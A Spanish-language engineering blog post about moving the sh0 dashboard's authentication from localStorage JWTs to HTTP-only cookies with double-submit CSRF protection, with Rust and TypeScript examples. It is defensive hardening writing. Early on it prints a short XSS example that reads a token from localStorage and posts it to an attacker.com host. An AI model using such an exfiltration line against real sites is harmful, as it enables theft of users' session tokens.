Back to sh0
sh0

Migracion de tokens en localStorage a cookies HTTP-Only

Como migramos la autenticacion de sh0 de tokens JWT en localStorage a cookies HTTP-only con proteccion CSRF de doble envio -- y por que toda herramienta auto-hospedada deberia hacer lo mismo.

Thales & Claude | March 30, 2026 12 min sh0
EN/ FR/ ES
securitycookiescsrfauthenticationsvelterustweb-security

Durante los primeros once dias de construccion de sh0.dev, almacenamos tokens JWT en localStorage. Funcionaba. El dashboard Svelte guardaba el token al hacer login, lo adjuntaba como header Bearer en cada llamada API, y lo pasaba como parametro de consulta para conexiones WebSocket. Autenticacion SPA estandar, como la ensenan cien tutoriales.

Tambien es fundamentalmente inseguro.

En el dia doce, nuestra auditoria de seguridad marco el almacenamiento de tokens en localStorage como un hallazgo medio. En el dia diecisiete, lo arrancamos completamente y lo reemplazamos con cookies HTTP-only, un flujo de token de actualizacion y proteccion CSRF de doble envio. Este articulo explica por que localStorage es peligroso, como migramos y cada detalle de la implementacion -- backend y frontend.


Por que los tokens en localStorage son un problema

El problema es simple: cualquier JavaScript ejecutandose en tu origen puede leer localStorage. Si un atacante encuentra una sola vulnerabilidad XSS -- un parametro reflejado, una entrada almacenada renderizada con {@html}, un script de terceros comprometido -- puede ejecutar:

javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Fin del juego. El atacante tiene un JWT valido con acceso completo a la API. El token funciona desde cualquier IP, cualquier navegador, cualquier maquina. Es valido durante todo lo que permita la expiracion del JWT -- en nuestro caso, inicialmente 7 dias.

Las cookies HTTP-only eliminan este vector de ataque por completo. Una cookie con el flag HttpOnly no puede ser leida por JavaScript. No puede ser exfiltrada via XSS. El navegador la adjunta a las peticiones automaticamente, pero document.cookie no devuelve nada. El token existe en el almacen de cookies del navegador, invisible para el codigo de la aplicacion e invisible para los scripts inyectados.

Esta no es una preocupacion teorica. Las herramientas auto-hospedadas son particularmente vulnerables porque a menudo se ejecutan en redes internas donde los operadores instalan extensiones de navegador, embeben scripts de monitorizacion de terceros o acceden al dashboard desde maquinas compartidas. Un dashboard PaaS con tokens en localStorage esta a un XSS de un compromiso completo de infraestructura.


La arquitectura de cookies

Reemplazamos el unico JWT con tres cookies:

CookiePropositoFlagsExpiracion
sh0_accessToken de acceso JWTHttpOnly, Secure, SameSite=Strict, Path=/api15 minutos
sh0_refreshToken de actualizacionHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 dias
sh0_csrfToken CSRF de doble envioSameSite=Strict, Path=/ (legible por JS)Sesion

El token de acceso tiene vida corta -- 15 minutos en lugar de los 7 dias originales. Cuando expira, el frontend llama silenciosamente a /api/auth/refresh, que lee la cookie de actualizacion, la verifica y emite un nuevo token de acceso. El usuario nunca ve un prompt de login a menos que el token de actualizacion mismo expire (30 dias) o sea revocado.

La cookie sh0_csrf intencionalmente no es HTTP-only. Necesita ser legible por JavaScript para que el frontend pueda incluir su valor en un header personalizado. Mas sobre eso en la seccion de CSRF.

El flag Secure asegura que las cookies solo se envien sobre HTTPS. El flag SameSite=Strict previene que el navegador envie cookies en peticiones cross-origin, lo que mitiga CSRF para peticiones GET y ataques basados en enlaces. Pero SameSite solo no es suficiente para operaciones que modifican estado -- aun necesitamos proteccion CSRF explicita para POST/PUT/DELETE.


Backend: el modulo helper cookies.rs

Creamos un modulo dedicado cookies.rs en sh0-api para centralizar todas las operaciones de cookies. Esto previene la proliferacion de headers Set-Cookie crudos dispersos en funciones de handler.

rustuse axum::http::header::SET_COOKIE;
use axum::http::HeaderValue;

const ACCESS_COOKIE: &str = "sh0_access";
const REFRESH_COOKIE: &str = "sh0_refresh";
const CSRF_COOKIE: &str = "sh0_csrf";

pub fn set_auth_cookies(
    access_token: &str,
    refresh_token: &str,
    csrf_token: &str,
    secure: bool,
) -> Vec<(axum::http::HeaderName, HeaderValue)> {
    let secure_flag = if secure { "; Secure" } else { "" };

    let access = format!(
        "{}={}; HttpOnly; SameSite=Strict; Path=/api; Max-Age=900{}",
        ACCESS_COOKIE, access_token, secure_flag
    );
    let refresh = format!(
        "{}={}; HttpOnly; SameSite=Strict; Path=/api/auth/refresh; Max-Age=2592000{}",
        REFRESH_COOKIE, refresh_token, secure_flag
    );
    let csrf = format!(
        "{}={}; SameSite=Strict; Path=/; Max-Age=2592000{}",
        CSRF_COOKIE, csrf_token, secure_flag
    );

    vec![
        (SET_COOKIE, HeaderValue::from_str(&access).unwrap()),
        (SET_COOKIE, HeaderValue::from_str(&refresh).unwrap()),
        (SET_COOKIE, HeaderValue::from_str(&csrf).unwrap()),
    ]
}

pub fn clear_auth_cookies(secure: bool) -> Vec<(axum::http::HeaderName, HeaderValue)> {
    let secure_flag = if secure { "; Secure" } else { "" };
    // Establecer Max-Age=0 para instruir al navegador a eliminar las cookies
    vec![
        (SET_COOKIE, HeaderValue::from_str(&format!(
            "{}=; HttpOnly; SameSite=Strict; Path=/api; Max-Age=0{}", ACCESS_COOKIE, secure_flag
        )).unwrap()),
        (SET_COOKIE, HeaderValue::from_str(&format!(
            "{}=; HttpOnly; SameSite=Strict; Path=/api/auth/refresh; Max-Age=0{}", REFRESH_COOKIE, secure_flag
        )).unwrap()),
        (SET_COOKIE, HeaderValue::from_str(&format!(
            "{}=; SameSite=Strict; Path=/; Max-Age=0{}", CSRF_COOKIE, secure_flag
        )).unwrap()),
    ]
}

pub fn generate_csrf_token() -> String {
    use ring::rand::{SecureRandom, SystemRandom};
    let rng = SystemRandom::new();
    let mut bytes = [0u8; 32];
    rng.fill(&mut bytes).expect("RNG failure");
    hex::encode(bytes)
}

pub fn is_secure() -> bool {
    // En produccion, las cookies siempre deben ser Secure
    // En dev (localhost), omitir Secure para que las cookies funcionen sobre HTTP
    std::env::var("SH0_ENV").unwrap_or_default() != "development"
}

La funcion is_secure() maneja la division desarrollo/produccion. En desarrollo (tipicamente http://localhost:5173), el flag Secure debe omitirse o las cookies no se enviaran. En produccion, siempre se establece.


Backend: handlers de auth actualizados

Cada endpoint de auth que previamente devolvia { token } en el cuerpo JSON ahora establece cookies en su lugar. La respuesta JSON cambia de:

json{ "token": "eyJhbG...", "user": { "id": "...", "email": "..." } }

a:

json{ "user": { "id": "...", "email": "..." }, "csrf_token": "a1b2c3..." }

Los tokens reales viajan exclusivamente en headers Set-Cookie. El unico valor devuelto en el cuerpo JSON es el token CSRF, que el frontend almacena en memoria (no en localStorage) para inclusion en headers de peticion.

El endpoint refresh() lee el token de actualizacion de la cookie sh0_refresh en lugar de esperarlo en el cuerpo de la peticion. Para compatibilidad con CLI, recurre al cuerpo de la peticion si no hay cookie presente -- las herramientas CLI no pueden usar cookies, por lo que continuan usando el flujo basado en tokens con headers Bearer.

El nuevo endpoint logout() llama a clear_auth_cookies() para establecer Max-Age=0 en las tres cookies, instruyendo al navegador a eliminarlas inmediatamente.


Proteccion CSRF de doble envio

Las cookies HTTP-only introducen un nuevo problema: CSRF (Cross-Site Request Forgery). Con tokens en localStorage, CSRF no era una preocupacion porque el token tenia que adjuntarse explicitamente a cada peticion. Pero las cookies se adjuntan automaticamente por el navegador -- incluyendo en peticiones cross-origin iniciadas por sitios maliciosos.

Usamos el patron de cookie de doble envio:

  1. Al hacer login, el servidor genera un token CSRF aleatorio y lo establece en la cookie sh0_csrf (legible por JavaScript, no HTTP-only).
  2. El frontend lee esta cookie e incluye su valor en el header X-CSRF-Token en cada peticion que modifica estado (POST, PUT, DELETE).
  3. El middleware del servidor compara el valor del header X-CSRF-Token contra el valor de la cookie sh0_csrf. Si coinciden, la peticion es legitima.

Esto funciona porque un atacante cross-origin puede causar que el navegador envie la cookie pero no puede leerla (politica del mismo origen). Sin leer el valor de la cookie, el atacante no puede establecer el header correspondiente.

rust// Middleware CSRF en router.rs
async fn csrf_check(req: Request, next: Next) -> Result<Response, StatusCode> {
    // Saltar CSRF para metodos seguros y auth sin cookies
    if matches!(*req.method(), Method::GET | Method::HEAD | Method::OPTIONS) {
        return Ok(next.run(req).await);
    }

    // Si la peticion usa auth Bearer (CLI/API), saltar CSRF
    if req.headers().get("authorization")
        .map(|v| v.to_str().unwrap_or("").starts_with("Bearer "))
        .unwrap_or(false)
    {
        return Ok(next.run(req).await);
    }

    let csrf_cookie = extract_cookie(req.headers(), "sh0_csrf");
    let csrf_header = req.headers()
        .get("x-csrf-token")
        .and_then(|v| v.to_str().ok())
        .map(String::from);

    match (csrf_cookie, csrf_header) {
        (Some(cookie), Some(header)) if cookie == header => Ok(next.run(req).await),
        _ => Err(StatusCode::FORBIDDEN),
    }
}

La verificacion CSRF se salta para peticiones usando autenticacion Bearer (herramientas CLI e integraciones con claves API) ya que esas no son vulnerables a CSRF -- el atacante necesitaria conocer la clave API para construir la peticion.


Frontend: eliminando localStorage

El dashboard Svelte requirio cambios en cinco archivos. El principio central: los tokens ya no existen en espacio accesible por JavaScript.

stores/auth.svelte.ts -- El store de auth fue reescrito. Previamente almacenaba token y refreshToken en localStorage. Ahora almacena solo: - isAuthenticated (booleano, derivado de la presencia del token CSRF) - csrfToken (cadena, mantenida solo en memoria -- se pierde al refrescar la pagina, re-obtenida via endpoint de actualizacion) - user (objeto, el perfil del usuario)

typescript// Antes: tokens en localStorage
function login(token: string, refreshToken: string, user: User) {
    localStorage.setItem('sh0_token', token);
    localStorage.setItem('sh0_refresh_token', refreshToken);
    // ...
}

// Despues: sin tokens en JavaScript
function login(user: User, csrfToken: string) {
    csrfToken$ = csrfToken;  // solo en memoria
    isAuthenticated$ = true;
    // Las cookies son establecidas por el navegador desde los headers Set-Cookie
}

api.ts -- Cada llamada fetch gana credentials: 'include' (requerido para que el navegador envie cookies en peticiones del mismo origen) y el header X-CSRF-Token:

typescriptasync function apiCall(path: string, options: RequestInit = {}) {
    const csrf = getCsrfToken();
    return fetch(`/api${path}`, {
        ...options,
        credentials: 'include',
        headers: {
            'Content-Type': 'application/json',
            ...(csrf ? { 'X-CSRF-Token': csrf } : {}),
            ...options.headers,
        },
    });
}

El header de token Bearer se elimina completamente. El navegador maneja la autenticacion adjuntando cookies.


Autenticacion WebSocket via cookies

La implementacion original de WebSocket pasaba el JWT como parametro de consulta:

typescript// Antes: token en URL (visible en logs, historial del navegador, headers Referer)
const ws = new WebSocket(`wss://sh0.example.com/api/ws/logs/${appId}?token=${token}`);

Esto es un problema de seguridad por tres razones: el token aparece en los logs de acceso del servidor, se almacena en el historial del navegador y se filtra via el header Referer si la pagina contiene enlaces externos.

Con auth basada en cookies, la solucion es directa. Las cookies se envian automaticamente durante el handshake de actualizacion de WebSocket -- no se necesita adjuntar tokens manualmente:

typescript// Despues: cookies enviadas automaticamente en la actualizacion
const ws = new WebSocket(`wss://sh0.example.com/api/ws/logs/${appId}`);
// El navegador incluye la cookie sh0_access en la peticion de actualizacion

En el backend, el handler WebSocket (ws.rs y terminal.rs) fue actualizado para extraer el JWT de la cookie sh0_access en los headers de la peticion de actualizacion, usando la misma logica de extraccion que el extractor AuthUser regular. La cadena de prioridad de tokens es: header Bearer (para clientes WebSocket CLI) luego cookie sh0_access luego cookie legada sh0_session (compatibilidad hacia atras durante la migracion).


El puente de compatibilidad hacia atras

No podiamos romper las herramientas CLI que usan autenticacion con token Bearer. La migracion mantiene compatibilidad hacia atras a traves de una cadena de prioridad en el extractor AuthUser:

  1. Header Bearer -- Si esta presente, usarlo (herramientas CLI, integraciones API)
  2. Cookie sh0_access -- Si esta presente, usarla (dashboard del navegador)
  3. Cookie legada sh0_session -- Si esta presente, usarla (versiones antiguas del dashboard durante el despliegue)
  4. Clave API -- Si el valor Bearer empieza con sh0_, autenticar como clave API

Esto significa que la migracion no es disruptiva. Los scripts CLI existentes siguen funcionando. Las versiones antiguas del dashboard siguen funcionando. Las nuevas versiones del dashboard usan cookies. Con el tiempo, la ruta de cookie legada puede eliminarse.


Lo que verificamos

Despues de la migracion, ejecutamos:

  • cargo build -- compilacion limpia
  • cargo test -- 53 pruebas pasando (pruebas de integracion actualizadas para extraer JWT de headers Set-Cookie en lugar del cuerpo JSON)
  • npm run build -- dashboard compila limpio

La actualizacion de las pruebas de integracion vale la pena mencionar. Previamente, las pruebas parseaban la respuesta JSON buscando un campo token. Ahora parsean el header de respuesta Set-Cookie para extraer el JWT. La prueba es mas realista -- ejercita la ruta de codigo real de establecimiento de cookies.


Por que toda herramienta auto-hospedada deberia hacer esto

Las herramientas auto-hospedadas estan desproporcionadamente expuestas al robo de tokens basado en XSS:

  1. Los operadores instalan extensiones de navegador en el mismo navegador que usan para gestionar infraestructura. Las extensiones ejecutan JavaScript en el contexto de la pagina y pueden leer localStorage.
  2. Las paginas del dashboard a menudo renderizan contenido proporcionado por el usuario -- nombres de aplicaciones, salida de logs, mensajes de error, nombres de variables de entorno. Cada punto de renderizado es un vector XSS potencial.
  3. Las herramientas internas reciben menos escrutinio de seguridad que las aplicaciones publicas. "Esta detras de la VPN" no es un modelo de seguridad cuando el navegador mismo es el vector de ataque.

Las cookies HTTP-only no previenen XSS. Pero previenen que XSS escale a robo de tokens. Un atacante que encuentra una vulnerabilidad XSS en tu dashboard puede desfigurar la pagina, exfiltrar datos visibles y realizar acciones como el usuario durante esa sesion. Pero no puede robar un token persistente que funcione desde su propia maquina durante los proximos 7 dias. El radio de explosion es fundamentalmente mas pequeno.

La migracion no es trivial -- toca handlers de auth, el store del frontend, cada llamada API, conexiones WebSocket y proteccion CSRF. Pero es una inversion unica que elimina permanentemente la clase de vulnerabilidad de autenticacion mas comun en aplicaciones de pagina unica.


Conclusiones clave

  1. Los tokens en localStorage son un anti-patron. Cualquier vulnerabilidad XSS se convierte en robo de credenciales persistentes. Las cookies HTTP-only previenen esto por completo.
  2. Acceso de corta vida + actualizacion de larga vida es la arquitectura correcta. Tokens de acceso de 15 minutos limitan la ventana de una cookie robada. Tokens de actualizacion de 30 dias proporcionan persistencia de sesion.
  3. La proteccion CSRF es obligatoria con auth de cookies. El patron de cookie de doble envio es simple y efectivo: el servidor establece una cookie legible, el cliente la repite en un header, el servidor verifica que coincidan.
  4. La auth WebSocket pertenece en cookies, no en parametros de consulta. Los parametros de consulta se filtran a traves de logs, historial y headers Referer. Las cookies se envian automaticamente durante el handshake de actualizacion.
  5. Mantener compatibilidad hacia atras. Una cadena de prioridad en el extractor de auth (Bearer > cookie > cookie legada > clave API) hace la migracion no disruptiva para herramientas CLI y clientes antiguos.

Siguiente en la serie: Prevencion de inyeccion de comandos en un PaaS -- el problema de seguridad mas dificil cuando tu plataforma existe para ejecutar comandos proporcionados por el usuario.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles